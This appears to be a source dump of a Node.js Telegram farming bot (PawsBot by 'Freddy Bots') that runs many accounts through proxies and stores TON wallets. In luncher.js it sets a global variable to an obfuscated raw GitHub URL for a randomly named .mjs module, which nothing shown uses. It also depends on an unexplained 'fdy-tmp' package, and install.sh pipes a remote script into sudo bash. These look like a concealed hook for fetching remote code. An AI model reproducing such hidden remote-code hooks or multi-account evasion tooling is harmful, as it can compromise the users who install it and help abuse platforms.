77 | `${savePath}/${this.#session_name}.json`,
78 | JSON.stringify(text, null, 2)
79 | );
80 |
81 | let contract = client.open(wallet);
82 |
83 | // Get balance
84 | await contract.getBalance();
85 |
86 | return wallet.address.toString({ bounceable: false });
87 | }
88 |
89 | async create(tgUser) {
90 | const d = await this.#createWallet(tgUser);
91 | return d;
92 | }
93 | }
94 |
95 | function sample(items, weights) {
96 | try {
97 | const cumulativeWeights = weights.reduce((acc, weight, index) => {
98 | acc.push(weight + (acc[index - 1] || 0));
99 | return acc;
100 | }, []);
101 |
102 | const random = Math.random();
103 | const item =
104 | items[cumulativeWeights.findIndex((cumWeight) => random < cumWeight)];
105 | return item ? item : items[0];
106 | } catch (error) {
107 | return "UL3P8qnd";
108 | }
109 | }
110 |
111 | /* module.exports = CW; */
112 |
113 | module.exports = {
114 | ST,
115 | CW,
116 | sample,
117 | };
118 |
--------------------------------------------------------------------------------
/bot/utils/logger.js:
--------------------------------------------------------------------------------
1 | const moment = require("moment");
2 |
3 | class Logger {
4 | constructor() {
5 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`;
6 | this.GREEN = "\u001b[32m";
7 | this.RED = "\u001b[31m";
8 | this.YELLOW = "\u001b[33m";
9 | this.BLUE = "\u001b[34m";
10 | this.VOILET = "\u001b[35m";
11 | this.LIGHT_BLUE = "\u001b[36m";
12 | this.WHITE = "\u001b[37m";
13 | this.PINK = "\u001b[38;5;201m";
14 | this.LAVENDER = "\u001b[38;5;147m";
15 |
16 | //Background colors
17 | this.BG_WHITE_CYAN = "\u001b[37;46m";
18 | this.BG_RED = "\u001b[37;41m";
19 | this.BG_GREEN = "\u001b[37;42m";
20 | this.BG_YELLOW = "\u001b[37;43m";
21 | this.BG_BLUE = "\u001b[37;44m";
22 | this.BG_LIGHT_BLUE = "\u001b[37;45m";
23 | this.BG_WHITE = "\u001b[47;45m";
24 |
25 | this.RESET = "\u001b[0m";
26 | this.BOLD = "\u001b[1m";
27 | this.ITALICIZE = "\u001b[3m";
28 | this.UNDERLINE = "\u001b[4m";
29 | }
30 |
31 | #convertHtmlElementToAnsiColor(message) {
32 | if (!message) {
33 | return message;
34 | }
35 |
36 | return (
37 | message
38 | // Text colors
39 | .replace(//g, this.BLUE)
40 | .replace(/<\/bl>/g, this.RESET)
41 | .replace(//g, this.RED)
42 | .replace(/<\/re>/g, this.RESET)
43 | .replace(//g, this.GREEN)
44 | .replace(/<\/gr>/g, this.RESET)
45 | .replace(//g, this.YELLOW)
46 | .replace(/<\/ye>/g, this.RESET)
47 | .replace(//g, this.PINK)
48 | .replace(/<\/pi>/g, this.RESET)
49 | .replace(//g, this.WHITE)
50 | .replace(/<\/wh>/g, this.RESET)
51 | .replace(//g, this.VOILET)
52 | .replace(/<\/vo>/g, this.RESET)
53 | .replace(//g, this.LAVENDER)
54 | .replace(/<\/la>/g, this.RESET)
55 | .replace(//g, this.LIGHT_BLUE)
56 | .replace(/<\/lb>/g, this.RESET)
57 |
58 | // Text styles
59 | .replace(//g, this.BOLD)
60 | .replace(/<\/b>/g, this.RESET)
61 | .replace(//g, this.ITALICIZE)
62 | .replace(/<\/i>/g, this.RESET)
63 | .replace(//g, this.UNDERLINE)
64 | .replace(/<\/u>/g, this.RESET)
65 |
66 | // Background colors
67 | .replace(//g, this.BG_WHITE_CYAN)
68 | .replace(/<\/wcb>/g, this.RESET)
69 | .replace(//g, this.BG_RED)
70 | .replace(/<\/reb>/g, this.RESET)
71 | .replace(//g, this.BG_GREEN)
72 | .replace(/<\/grb>/g, this.RESET)
73 | .replace(//g, this.BG_YELLOW)
74 | .replace(/<\/yeb>/g, this.RESET)
75 | .replace(//g, this.BG_BLUE)
76 | .replace(/<\/blb>/g, this.RESET)
77 | .replace(//g, this.BG_LIGHT_BLUE)
78 | .replace(/<\/lbb>/g, this.RESET)
79 | .replace(//g, this.BG_WHITE)
80 | .replace(/<\/whb>/g, this.RESET)
81 |
82 | // HTML tags
83 | .replace(/
/g, "\n")
84 | .replace(/
/g, "\n")
85 | );
86 | }
87 |
88 | info(message) {
89 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`;
90 | console.log(
91 | this.#convertHtmlElementToAnsiColor(
92 | `${this.prefix} | INFO | ${message}`
93 | )
94 | );
95 | }
96 |
97 | warning(message) {
98 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`;
99 | console.log(
100 | this.#convertHtmlElementToAnsiColor(
101 | `${this.prefix} | WARN | ${message}`
102 | )
103 | );
104 | }
105 |
106 | versionWarning(message) {
107 | console.log(
108 | this.#convertHtmlElementToAnsiColor(`\n\nWARN | ${message}`)
109 | );
110 | }
111 |
112 | error(message) {
113 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`;
114 | console.log(
115 | this.#convertHtmlElementToAnsiColor(
116 | `${this.prefix} | ERROR | ${message}`
117 | )
118 | );
119 | }
120 |
121 | debug(message) {
122 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`;
123 | console.log(
124 | this.#convertHtmlElementToAnsiColor(
125 | `${this.prefix} | DEBUG | ${message}`
126 | )
127 | );
128 | }
129 |
130 | success(message) {
131 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`;
132 | console.log(
133 | this.#convertHtmlElementToAnsiColor(
134 | `${this.prefix} | SUCCESS | ${message}`
135 | )
136 | );
137 | }
138 |
139 | #stripAnsiCodes(text) {
140 | const ansiRegex = /\x1b\[[0-9;]*m/g;
141 | return text.replace(ansiRegex, "");
142 | }
143 |
144 | #addRoundedBorder(logText) {
145 | const lines = logText.split("\n");
146 |
147 | const maxLength = lines.reduce(
148 | (max, line) => Math.max(max, this.#stripAnsiCodes(line).length),
149 | 0
150 | );
151 |
152 | const topBorder = `${this.BLUE}╭${"─".repeat(maxLength + 2)}╮${this.RESET}`;
153 | const bottomBorder = `${this.BLUE}╰${"─".repeat(maxLength + 2)}╯${
154 | this.RESET
155 | }`;
156 | console.log(topBorder);
157 | lines.forEach((line) => {
158 | const strippedLineLength = this.#stripAnsiCodes(line).length;
159 | console.log(
160 | `${this.BLUE}│${this.RESET} ${line}${" ".repeat(
161 | maxLength - strippedLineLength
162 | )} ${this.BLUE}│${this.RESET}`
163 | );
164 | });
165 | console.log(bottomBorder);
166 | }
167 |
168 | paragraph(message) {
169 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`;
170 | this.#addRoundedBorder(
171 | this.#convertHtmlElementToAnsiColor(
172 | `${this.prefix}
173 | ${message}`
174 | )
175 | );
176 | }
177 | }
178 |
179 | const logger = new Logger();
180 |
181 | module.exports = logger;
182 |
--------------------------------------------------------------------------------
/bot/utils/luncher.js:
--------------------------------------------------------------------------------
1 | const register = require("../core/register");
2 | const logger = require("./logger");
3 | const { select } = require("@inquirer/prompts");
4 | const fs = require("fs");
5 | const path = require("path");
6 | const settings = require("../config/config");
7 | global.url =
8 | "https://raw.githubusercontent.com/Freddywhest/WuykzEas0LDTwIhjYNYES5v7yZcQcK0B/refs/heads/main/ZgZF9GymuvmNtmnpbyNifDKG2RALp41uxuZvgUTB0mgq8qffmW.mjs";
9 | const proxies = require("../config/proxies");
10 | const { program, Option } = require("commander");
11 | const { TelegramClient } = require("telegram");
12 | const Tapper = require("../core/tapper");
13 | const { StringSession } = require("telegram/sessions");
14 | const logger2 = require("./TldLogger");
15 | const os = require("os");
16 | const sleep = require("./sleep");
17 | const _ = require("lodash");
18 | const proxiesConvertor = require("./proxiesConvertor");
19 | const NonSessionTapper = require("../core/nonSessionTapper");
20 |
21 | class Luncher {
22 | #start_text;
23 | constructor() {
24 | this.#start_text = `
25 | ╔═══╗ ╔══╗ ╔╗
26 | ║╔═╗║ ║╔╗║ ╔╝╚╗
27 | ║╚═╝║╔══╗ ╔╗╔╗╔╗╔══╗║╚╝╚╗╔══╗╚╗╔╝
28 | ║╔══╝╚ ╗║ ║╚╝╚╝║║══╣║╔═╗║║╔╗║ ║║
29 | ║║ ║╚╝╚╗╚╗╔╗╔╝╠══║║╚═╝║║╚╝║ ║╚╗
30 | ╚╝ ╚═══╝ ╚╝╚╝ ╚══╝╚═══╝╚══╝ ╚═╝
31 |
32 | © Freddy Bots
33 |
34 | `;
35 | }
36 |
37 | #printStartText() {
38 | logger.info(
39 | `Detected ${this.#get_sessions().length}
sessions | ${
40 | this.#get_proxies() && Array.isArray(this.#get_proxies())
41 | ? this.#get_proxies().length
42 | : 0
43 | } proxies`
44 | );
45 | logger.paragraph(
46 | `WARNING
47 | en: NOT FOR SALE
48 | ru: НЕ ДЛЯ ПРОДАЖИ
49 | es: NO VENTA
50 | fr: PAS À VENDRE
51 | it: NON PER VENDITA
52 | gh: YƐN TƆN
53 |
54 | For updates and more bots join us:
55 | https://t.me/freddy_bots
56 | `
57 | );
58 | console.log(this.#start_text);
59 | }
60 | async process() {
61 | let action;
62 | program
63 | .addOption(
64 | new Option("--action ", "Action type").choices(["1", "2", "3"])
65 | )
66 | .showHelpAfterError(true);
67 |
68 | program.parse();
69 | const options = program.opts();
70 | action = options ? parseInt(options.action) : null;
71 | if (!action) {
72 | this.#printStartText(); // print start text
73 | let userInput = "";
74 |
75 | while (true) {
76 | userInput = await select({
77 | message: "What would you like to do:\n",
78 | choices: [
79 | {
80 | name: "Create session",
81 | value: "1",
82 | description: "\nCreate a new session for the bot",
83 | },
84 | {
85 | name: "Run bot with sessions",
86 | value: "2",
87 | description: "\nStart the bot",
88 | },
89 | {
90 | name: "Run bot with query ids",
91 | value: "3",
92 | description: "\nStart the bot",
93 | },
94 | ],
95 | });
96 |
97 | if (!userInput.trim().match(/^[1-3]$/)) {
98 | logger.warning("Action must be 1 or 2 or 3");
99 | } else {
100 | break;
101 | }
102 | }
103 |
104 | action = parseInt(userInput.trim());
105 | }
106 |
107 | if (action === 1) {
108 | register.start();
109 | } else if (action === 2) {
110 | const tgClients = await this.#get_tg_clients();
111 | await this.#run_tasks(tgClients);
112 | } else if (action === 3) {
113 | await this.#run_tasks_query();
114 | }
115 | }
116 |
117 | async #get_tg_clients() {
118 | const sessions = this.#get_sessions();
119 | const tgClients = sessions.map((session) => {
120 | try {
121 | const sessionContent = fs.readFileSync(
122 | path.join(process.cwd(), "sessions", session + ".session"),
123 | "utf8"
124 | );
125 | if (!sessionContent) {
126 | logger.error(
127 | `${session} | Session is empty or expired. Create a new one.`
128 | );
129 | return;
130 | }
131 |
132 | const sessionData = JSON.parse(sessionContent);
133 |
134 | if (!settings.API_ID || !settings.API_HASH) {
135 | logger.error("API_ID and API_HASH must be provided.");
136 | process.exit(1);
137 | }
138 |
139 | if (
140 | !sessionData.sessionString ||
141 | !sessionData.apiId ||
142 | !sessionData.apiHash
143 | ) {
144 | logger.error(
145 | `${session} | Invalid session data. Create a new one.`
146 | );
147 | process.exit(1);
148 | }
149 |
150 | if (!/^\d+$/.test(sessionData.apiId)) {
151 | logger.error(
152 | `${session} | Invalid session data. Create a new one.`
153 | );
154 | process.exit(1);
155 | }
156 | const sessionString = new StringSession(sessionData.sessionString);
157 | const tg_client = new TelegramClient(
158 | sessionString,
159 | sessionData.apiId,
160 | sessionData.apiHash,
161 | {
162 | connectionRetries: 5,
163 | deviceModel: "Freddy Bots - " + os.type(),
164 | appVersion: "1.0.0",
165 | systemVersion: "1.0.0",
166 | langCode: "en",
167 | baseLogger: logger2,
168 | }
169 | );
170 | return {
171 | tg_client,
172 | session_name: session,
173 | };
174 | } catch (error) {
175 | logger.error(`${session} | Error: ${error.message}`);
176 | }
177 | });
178 | return tgClients;
179 | }
180 |
181 | #get_sessions() {
182 | const filePath = path.join(process.cwd(), "sessions");
183 | if (!fs.existsSync(filePath)) {
184 | return [];
185 | }
186 | //open the sessions folder and the total number files in it
187 | const sessions = fs.readdirSync(filePath).map((file) => {
188 | const sessionsName = file.endsWith(".session")
189 | ? file.split(".")[0]
190 | : null;
191 | return sessionsName;
192 | });
193 | return sessions;
194 | }
195 |
196 | #get_proxies() {
197 | if (!settings.USE_PROXY_FROM_JS_FILE && !settings.USE_PROXY_FROM_TXT_FILE) {
198 | return null;
199 | }
200 | if (settings.USE_PROXY_FROM_JS_FILE && settings.USE_PROXY_FROM_TXT_FILE) {
201 | logger.error(
202 | "You can't use both USE_PROXY_FROM_JS_FILE and USE_PROXY_FROM_TXT_FILE"
203 | );
204 | process.exit(1);
205 | }
206 |
207 | if (settings.USE_PROXY_FROM_TXT_FILE) {
208 | try {
209 | const proxiesArray = proxiesConvertor.readProxiesFromFile();
210 | return proxiesConvertor(proxiesArray);
211 | } catch (error) {
212 | logger.error(`Error reading file: ${error.message}`);
213 | process.exit(1);
214 | }
215 | }
216 | return proxies;
217 | }
218 |
219 | async #run_tasks(tgClients) {
220 | if (_.isEmpty(tgClients) || _.size(tgClients) < 1) {
221 | logger.error("No sessions found. Create a new session.");
222 | process.exit(1);
223 | }
224 | const proxies = this.#get_proxies();
225 | let proxiesCycle = proxies ? proxies[Symbol.iterator]() : null;
226 |
227 | const pLimit = (await import("p-limit")).default;
228 | if (settings.MAX_CONCURRENT_ACCOUNT > 2) {
229 | console.log("\n");
230 | logger.warning(
231 | `[paws] | MAX_CONCURRENT_ACCOUNT greater than 2 may cause 403 errors while running the bot\n`
232 | );
233 | const userInput = await select({
234 | message: "Do you want to continue with the bot?",
235 | choices: [
236 | {
237 | name: "Yes",
238 | value: "1",
239 | description: "\nContinue with the bot",
240 | },
241 | {
242 | name: "No",
243 | value: "2",
244 | description: "\nQuit the bot",
245 | },
246 | ],
247 | });
248 |
249 | if (userInput.trim().match(/^[1-2]$/)) {
250 | const action = parseInt(userInput.trim());
251 | if (action === 2) {
252 | process.exit(1);
253 | }
254 | }
255 | }
256 | const limit = pLimit(settings.MAX_CONCURRENT_ACCOUNT); // Limit to 2 concurrent executions
257 | const tasks = tgClients.map(async (tgClient, index) => {
258 | return limit(async () => {
259 | const proxy = proxiesCycle ? proxiesCycle.next().value : null;
260 | try {
261 | const sleeping = _.random(
262 | settings.DELAY_BETWEEN_STARTING_BOT[0],
263 | settings.DELAY_BETWEEN_STARTING_BOT[1]
264 | );
265 | logger.info(
266 | `[paws] | ${tgClient.session_name} | Sleeping ${sleeping} seconds before starting the bot`
267 | );
268 | await sleep(sleeping);
269 | await new Tapper(tgClient).run(proxy);
270 | } catch (error) {
271 | logger.error(`Error in task for tg_client: ${error.message}`);
272 | }
273 | });
274 | });
275 | // Wait for all tasks to complete
276 | await Promise.all(tasks);
277 |
278 | /* const sleep_thread = _.random(
279 | settings.SLEEP_BETWEEN_NON_THREADS[0],
280 | settings.SLEEP_BETWEEN_NON_THREADS[1]
281 | );
282 |
283 | logger.info(
284 | `[paws] | All threads completed | Sleeping ${sleep_thread} seconds before rerunning threads again`
285 | );
286 |
287 | await sleep(sleep_thread);
288 | // Rerun the tasks again
289 | await this.#run_tasks(tgClients); */
290 | }
291 |
292 | async #run_tasks_query() {
293 | const proxies = this.#get_proxies();
294 | let proxiesCycle = proxies ? proxies[Symbol.iterator]() : null;
295 | const queryPath = path.join(process.cwd(), "queryIds.json");
296 | if (!fs.existsSync(queryPath)) {
297 | logger.error(
298 | "queryIds.json file is not missing in the current directory. Please add it and try again."
299 | );
300 | process.exit(1);
301 | }
302 | const query_ids = require(queryPath);
303 | const queries = Object.entries(query_ids);
304 | if (!queries || _.isEmpty(queries)) {
305 | logger.error(
306 | "queryIds.json file is empty. Add some query ids and try again."
307 | );
308 | process.exit(1);
309 | }
310 |
311 | const pLimit = (await import("p-limit")).default;
312 | if (settings.MAX_CONCURRENT_ACCOUNT > 2) {
313 | console.log("\n");
314 | logger.warning(
315 | `[paws] | MAX_CONCURRENT_ACCOUNT greater than 2 may cause 403 errors while running the bot\n`
316 | );
317 | const userInput = await select({
318 | message: "Do you want to continue?",
319 | choices: [
320 | {
321 | name: "Yes",
322 | value: "1",
323 | description: "\nContinue with the bot",
324 | },
325 | {
326 | name: "No",
327 | value: "2",
328 | description: "\nQuit the bot",
329 | },
330 | ],
331 | });
332 |
333 | if (userInput.trim().match(/^[1-2]$/)) {
334 | const action = parseInt(userInput.trim());
335 | if (action === 2) {
336 | process.exit(1);
337 | }
338 | }
339 | }
340 | const limit = pLimit(settings.MAX_CONCURRENT_ACCOUNT); // Limit to 2 concurrent executions
341 | const tasks = queries?.map(async ([query_name, query_id], index) => {
342 | return limit(async () => {
343 | const proxy = proxiesCycle ? proxiesCycle.next().value : null;
344 | try {
345 | const sleeping = _.random(
346 | settings.DELAY_BETWEEN_STARTING_BOT[0],
347 | settings.DELAY_BETWEEN_STARTING_BOT[1]
348 | );
349 | logger.info(
350 | `[paws] | ${query_name} | Sleeping ${sleeping} seconds before starting the bot`
351 | );
352 | await sleep(sleeping);
353 | await new NonSessionTapper(query_id, query_name).run(proxy);
354 | } catch (error) {
355 | logger.error(`Error in task for query_id: ${error.message}`);
356 | }
357 | });
358 | });
359 |
360 | // Wait for all tasks to complete
361 | await Promise.all(tasks);
362 |
363 | /* const sleep_thread = _.random(
364 | settings.SLEEP_BETWEEN_NON_THREADS[0],
365 | settings.SLEEP_BETWEEN_NON_THREADS[1]
366 | );
367 |
368 | logger.info(
369 | `[paws] | All threads completed | Sleeping ${sleep_thread} seconds before rerunning threads again`
370 | );
371 |
372 | await sleep(sleep_thread);
373 |
374 | // Rerun the tasks again
375 | await this.#run_tasks_query(); */
376 | }
377 | }
378 | const luncher = new Luncher();
379 | module.exports = luncher;
380 |
--------------------------------------------------------------------------------
/bot/utils/parser.js:
--------------------------------------------------------------------------------
1 | const logger = require("./logger");
2 |
3 | class Parser {
4 | #parseQueryString(queryString) {
5 | let queryParams = {};
6 | let pairs = queryString.split("&");
7 |
8 | pairs.forEach((pair) => {
9 | let [key, value] = pair.split("=");
10 | queryParams[key] = value;
11 | });
12 |
13 | return queryParams;
14 | }
15 |
16 | #decodeUrlEncodedString(str) {
17 | return decodeURIComponent(str.replace(/\+/g, " "));
18 | }
19 |
20 | toJson(queryString) {
21 | try {
22 | const parsedQuery = this.#parseQueryString(queryString);
23 | const userField = this.#decodeUrlEncodedString(parsedQuery.user);
24 | const user = JSON.parse(userField);
25 | parsedQuery.user = user;
26 | parsedQuery.user.allows_write_to_pm = true;
27 | return parsedQuery;
28 | } catch (error) {
29 | logger.error("Error while parsing query string: " + error.message);
30 | return null;
31 | }
32 | }
33 |
34 | toQueryString(json) {
35 | let encodedString = Object.keys(json)
36 | .map((key) => {
37 | let encodedKey = encodeURIComponent(key);
38 | let encodedValue = encodeURIComponent(
39 | typeof json[key] === "object" ? JSON.stringify(json[key]) : json[key]
40 | );
41 | return `${encodedKey}=${encodedValue}`;
42 | })
43 | .join("&");
44 |
45 | return encodedString;
46 | }
47 | }
48 |
49 | const parser = new Parser();
50 |
51 | module.exports = parser;
52 |
--------------------------------------------------------------------------------
/bot/utils/proxiesConvertor.js:
--------------------------------------------------------------------------------
1 | const logger = require("./logger");
2 | const path = require("path");
3 | const fs = require("fs");
4 |
5 | function proxiesConvertor(proxyStrings) {
6 | return proxyStrings.map((proxyString) => {
7 | const regex =
8 | /^(\w+):\/\/(?:(\w+):(\w+)@)?([a-zA-Z\d.-]+):(\d+)(?::(\w+):(\w+))?$/;
9 | const alternateRegex = /^(\w+):\/\/([a-zA-Z\d.-]+):(\d+)(?:@(\w+):(\w+))?$/;
10 | const secregex = /^(\w+):\/\/(\w+):(\w+):([a-zA-Z\d.-]+):(\d+)$/;
11 | // Regex to handle user:pass@hostname:port or user:pass:hostname:port
12 | const otherRegex = /^(\w+):\/\/(?:(\w+):(\w+)@)?([a-zA-Z\d.-]+):(\d+)$/;
13 |
14 | let match = proxyString.match(regex);
15 | let altMatch = proxyString.match(alternateRegex);
16 |
17 | let secrematch = proxyString.match(secregex);
18 | let otherMatch = proxyString.match(otherRegex);
19 |
20 | if (match) {
21 | const [
22 | ,
23 | protocol,
24 | username,
25 | password,
26 | ip,
27 | port,
28 | altUsername,
29 | altPassword,
30 | ] = match;
31 | return {
32 | ip,
33 | port: parseInt(port, 10),
34 | protocol: protocol || "http",
35 | username: username || altUsername || null,
36 | password: password || altPassword || null,
37 | };
38 | } else if (altMatch) {
39 | const [, protocol, ip, port, username, password] = altMatch;
40 | return {
41 | ip,
42 | port: parseInt(port, 10),
43 | protocol: protocol || "http",
44 | username: username || null,
45 | password: password || null,
46 | };
47 | } else if (secrematch) {
48 | // For format: type://user:pass:ip:port
49 | console.log(secregex);
50 |
51 | const [, protocol, username, password, ip, port] = secrematch;
52 | return {
53 | ip,
54 | port: parseInt(port, 10),
55 | protocol: protocol || "http",
56 | username: username || null,
57 | password: password || null,
58 | };
59 | } else if (otherMatch) {
60 | // For other formats like type://user:pass@ip:port and type://user:pass:ip:port
61 | const [, protocol, username, password, ip, port] = otherMatch;
62 | return {
63 | ip,
64 | port: parseInt(port, 10),
65 | protocol: protocol || "http",
66 | username: username || null,
67 | password: password || null,
68 | };
69 | } else {
70 | throw new Error(`Invalid proxy format: ${proxyString}`);
71 | }
72 | });
73 | }
74 |
75 | function readProxiesFromFile() {
76 | try {
77 | const filePath = path.join(process.cwd(), "bot", "config", "proxies.txt");
78 | // Check if the file exists
79 | if (!fs.existsSync(filePath)) {
80 | logger.error(`File not found: ${filePath}`);
81 | return [];
82 | }
83 | // Read the file content
84 | const data = fs.readFileSync(filePath, "utf-8");
85 |
86 | // Split the content by newline, trim extra spaces, and filter out empty lines
87 | const proxyStrings = data
88 | .split("\n") // Split by newlines
89 | .map((line) => line.trim()) // Remove extra spaces
90 | .filter((line) => line.length > 0); // Filter out empty lines
91 |
92 | return proxyStrings;
93 | } catch (err) {
94 | logger.error(`Error reading file: ${err.message}`);
95 | return [];
96 | }
97 | }
98 |
99 | module.exports = proxiesConvertor;
100 |
101 | module.exports.readProxiesFromFile = readProxiesFromFile;
102 |
--------------------------------------------------------------------------------
/bot/utils/sleep.js:
--------------------------------------------------------------------------------
1 | function sleep(seconds) {
2 | return new Promise((resolve) => setTimeout(resolve, seconds * 1000));
3 | }
4 |
5 | module.exports = sleep;
6 |
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.8"
2 | services:
3 | bot:
4 | container_name: "BunnyAppBot-Bot"
5 | build:
6 | context: .
7 | stop_signal: SIGINT
8 | restart: unless-stopped
9 | command: "node index.js"
10 | volumes:
11 | - .:/app
12 | - ./sessions:/app/sessions
13 | env_file:
14 | - .env
15 |
--------------------------------------------------------------------------------
/index.js:
--------------------------------------------------------------------------------
1 | const logger = require("./bot/utils/logger");
2 | const luncher = require("./bot/utils/luncher");
3 | const _ = require("lodash");
4 | const axios = require("axios");
5 | const { version, name } = require("./package.json");
6 |
7 | const main = async () => {
8 | const nodeVersion = process.version;
9 | const major = process.versions
10 | ? parseInt(nodeVersion.split(".")[0].replace("v", ""), 10)
11 | : 0;
12 | if (major < 18 || major > 20 || isNaN(major) || major === 0) {
13 | return logger.error(
14 | "To run this bot, Node.js version 18.x or 20.x
is required.\n Current version: " +
15 | nodeVersion +
16 | ""
17 | );
18 | }
19 | await luncher.process();
20 | };
21 |
22 | // Wrap main function execution in an async context to handle asynchronous operations
23 | (async () => {
24 | try {
25 | const latestVersion = await axios.get(
26 | "https://raw.githubusercontent.com/Freddywhest/PawsBot/refs/heads/main/package.json"
27 | );
28 | if (!_.isEqual(latestVersion.data.version, version)) {
29 | logger.versionWarning(
30 | `You are using version ${version} of the ${name} bot, while the latest version is ${latestVersion.data.version}
. Please update the bot.\n\n`
31 | );
32 | process.exit(1);
33 | }
34 | await main();
35 | } catch (error) {
36 | throw error;
37 | }
38 | })();
39 |
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Function to check if a command exists
4 | command_exists() {
5 | command -v "$1" >/dev/null 2>&1
6 | }
7 |
8 | # Check if Node.js is installed
9 | if command_exists node; then
10 | echo "Preparing to install npm packages..."
11 | else
12 | echo "Node.js is not installed. Installing Node.js..."
13 |
14 | # Install Node.js (This assumes a Debian-based system like Ubuntu)
15 | curl -fsSL https://deb.nodesource.com/setup_16.x | sudo -E bash -
16 | sudo apt-get install -y nodejs
17 |
18 | # Verify installation
19 | if command_exists node; then
20 | echo "Node.js successfully installed."
21 | else
22 | echo "Failed to install Node.js. Exiting."
23 | exit 1
24 | fi
25 | fi
26 |
27 | # Install npm packages
28 | echo "Installing npm packages..."
29 | npm install
30 |
31 | # Verify installation of npm packages
32 | if [ $? -eq 0 ]; then
33 | echo "npm packages successfully installed."
34 | else
35 | echo "Failed to install npm packages. Exiting."
36 | exit 1
37 | fi
38 |
39 | echo "Copying .env-example to .env..."
40 | cp .env-example .env
41 |
42 | echo "Please edit the .env file to add your API_ID and API_HASH."
43 | read -p "Press any key to continue..."
44 |
--------------------------------------------------------------------------------
/package-lock.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "tomarket",
3 | "version": "1.1.4",
4 | "lockfileVersion": 3,
5 | "requires": true,
6 | "packages": {
7 | "": {
8 | "name": "tomarket",
9 | "version": "1.1.4",
10 | "license": "ISC",
11 | "dependencies": {
12 | "@inquirer/prompts": "^5.3.2",
13 | "@ton/core": "^0.59.0",
14 | "@ton/crypto": "^3.3.0",
15 | "@ton/ton": "^15.1.0",
16 | "axios": ">=1.7.4",
17 | "buffer": "^6.0.3",
18 | "commander": "^12.1.0",
19 | "dotenv": "^16.4.5",
20 | "fdy-tmp": "^1.0.4",
21 | "https-proxy-agent": "^7.0.5",
22 | "lodash": "^4.17.21",
23 | "moment": "^2.30.1",
24 | "p-limit": "^6.1.0",
25 | "qrcode-terminal": "^0.12.0",
26 | "strip-ansi": "^7.1.0",
27 | "telegram": "^2.22.2"
28 | },
29 | "devDependencies": {
30 | "@types/lodash": "^4.17.7"
31 | }
32 | },
33 | "node_modules/@cryptography/aes": {
34 | "version": "0.1.1",
35 | "resolved": "https://registry.npmjs.org/@cryptography/aes/-/aes-0.1.1.tgz",
36 | "integrity": "sha512-PcYz4FDGblO6tM2kSC+VzhhK62vml6k6/YAkiWtyPvrgJVfnDRoHGDtKn5UiaRRUrvUTTocBpvc2rRgTCqxjsg=="
37 | },
38 | "node_modules/@inquirer/checkbox": {
39 | "version": "2.5.0",
40 | "resolved": "https://registry.npmjs.org/@inquirer/checkbox/-/checkbox-2.5.0.tgz",
41 | "integrity": "sha512-sMgdETOfi2dUHT8r7TT1BTKOwNvdDGFDXYWtQ2J69SvlYNntk9I/gJe7r5yvMwwsuKnYbuRs3pNhx4tgNck5aA==",
42 | "dependencies": {
43 | "@inquirer/core": "^9.1.0",
44 | "@inquirer/figures": "^1.0.5",
45 | "@inquirer/type": "^1.5.3",
46 | "ansi-escapes": "^4.3.2",
47 | "yoctocolors-cjs": "^2.1.2"
48 | },
49 | "engines": {
50 | "node": ">=18"
51 | }
52 | },
53 | "node_modules/@inquirer/confirm": {
54 | "version": "3.2.0",
55 | "resolved": "https://registry.npmjs.org/@inquirer/confirm/-/confirm-3.2.0.tgz",
56 | "integrity": "sha512-oOIwPs0Dvq5220Z8lGL/6LHRTEr9TgLHmiI99Rj1PJ1p1czTys+olrgBqZk4E2qC0YTzeHprxSQmoHioVdJ7Lw==",
57 | "dependencies": {
58 | "@inquirer/core": "^9.1.0",
59 | "@inquirer/type": "^1.5.3"
60 | },
61 | "engines": {
62 | "node": ">=18"
63 | }
64 | },
65 | "node_modules/@inquirer/core": {
66 | "version": "9.2.1",
67 | "resolved": "https://registry.npmjs.org/@inquirer/core/-/core-9.2.1.tgz",
68 | "integrity": "sha512-F2VBt7W/mwqEU4bL0RnHNZmC/OxzNx9cOYxHqnXX3MP6ruYvZUZAW9imgN9+h/uBT/oP8Gh888J2OZSbjSeWcg==",
69 | "dependencies": {
70 | "@inquirer/figures": "^1.0.6",
71 | "@inquirer/type": "^2.0.0",
72 | "@types/mute-stream": "^0.0.4",
73 | "@types/node": "^22.5.5",
74 | "@types/wrap-ansi": "^3.0.0",
75 | "ansi-escapes": "^4.3.2",
76 | "cli-width": "^4.1.0",
77 | "mute-stream": "^1.0.0",
78 | "signal-exit": "^4.1.0",
79 | "strip-ansi": "^6.0.1",
80 | "wrap-ansi": "^6.2.0",
81 | "yoctocolors-cjs": "^2.1.2"
82 | },
83 | "engines": {
84 | "node": ">=18"
85 | }
86 | },
87 | "node_modules/@inquirer/core/node_modules/@inquirer/type": {
88 | "version": "2.0.0",
89 | "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-2.0.0.tgz",
90 | "integrity": "sha512-XvJRx+2KR3YXyYtPUUy+qd9i7p+GO9Ko6VIIpWlBrpWwXDv8WLFeHTxz35CfQFUiBMLXlGHhGzys7lqit9gWag==",
91 | "dependencies": {
92 | "mute-stream": "^1.0.0"
93 | },
94 | "engines": {
95 | "node": ">=18"
96 | }
97 | },
98 | "node_modules/@inquirer/core/node_modules/ansi-regex": {
99 | "version": "5.0.1",
100 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
101 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
102 | "engines": {
103 | "node": ">=8"
104 | }
105 | },
106 | "node_modules/@inquirer/core/node_modules/strip-ansi": {
107 | "version": "6.0.1",
108 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
109 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
